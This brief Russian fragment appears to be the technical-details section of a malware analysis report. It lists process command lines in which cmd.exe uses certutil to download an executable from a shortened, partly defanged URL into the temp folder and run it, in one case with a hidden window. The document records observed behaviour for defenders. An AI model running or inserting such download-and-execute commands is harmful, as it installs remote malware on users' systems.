Техническая информация
- '<SYSTEM32>\cmd.exe' /cCmD fsdjksevh cmd /rcertutil -urlcache -split -f http://bi#.ly/2MrYVRl %temp%\236789098.exe& %temp%\236789098.exe
- '<SYSTEM32>\cmd.exe' /cCmD fsdjksevh cmd /rcertutil -urlcache -split -f http://bi#.ly/2MrYVRl %temp%\236789098.exe& %temp%\236789098.exe' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' fsdjksevh cmd /rcertutil -urlcache -split -f http://bi#.ly/2MrYVRl %TEMP%\236789098.exe